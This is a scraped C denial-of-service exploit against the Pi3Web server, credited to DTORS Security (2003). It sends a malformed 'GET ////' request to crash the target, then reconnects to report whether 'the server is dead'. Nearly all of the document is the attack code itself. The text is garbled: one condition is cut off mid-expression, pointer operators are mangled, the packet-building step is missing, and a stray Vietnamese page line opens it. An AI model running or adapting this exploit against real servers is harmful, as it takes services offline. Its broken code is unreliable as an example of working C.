Unix Version of the Pi3web DoS
trang này đã được đọc lần
* Unix Version of the Pi3web DoS.
*
* Info: Pi3Web Server is vulnerable to a denial of Service.
*
* VULNERABILITY:
* GET ////
void addr_initialize();
int main(int argc, char **argv)
{
int i, port, sd, rc;
char buffer[355];
char *get = "GET";
char packet[360];
struct sockaddr_in server;
if(argc > 3 || argc
if(sd = 0);
rc = connect(sd, (struct sockaddr *) &server, sizeof(server));
if(rc != 0) perror("Connect");
assert(rc == 0);
printf("\n\t\t(c) 2003 DTORS Security\n");
printf("\t\tUnix Version DoS for Pi3web\n");
printf("\t\tby Angelo Rosiello\n\n");
write(sd, packet, strlen(packet)); //Caput!
printf("Malformed packet sent!\n");
close(sd);
printf("Checking if the server crashed...\n");
sleep(3);
sd = socket(AF_INET, SOCK_STREAM, 0);
if(sd = 0);
rc = connect(sd, (struct sockaddr *) &server, sizeof(server));
if(rc != 0)
{
printf("The server is dead!\n");
exit(0);
}
else if(rc == 0) printf("The server is not vulnerable!\n");
close(sd);
exit(0);
}
void addr_initialize (struct sockaddr_in *address, int port,
long IPaddr)
{
address > sin_family = AF_INET;
address > sin_port = htons((u_short)port);
address > sin_addr.s_addr = IPaddr;
}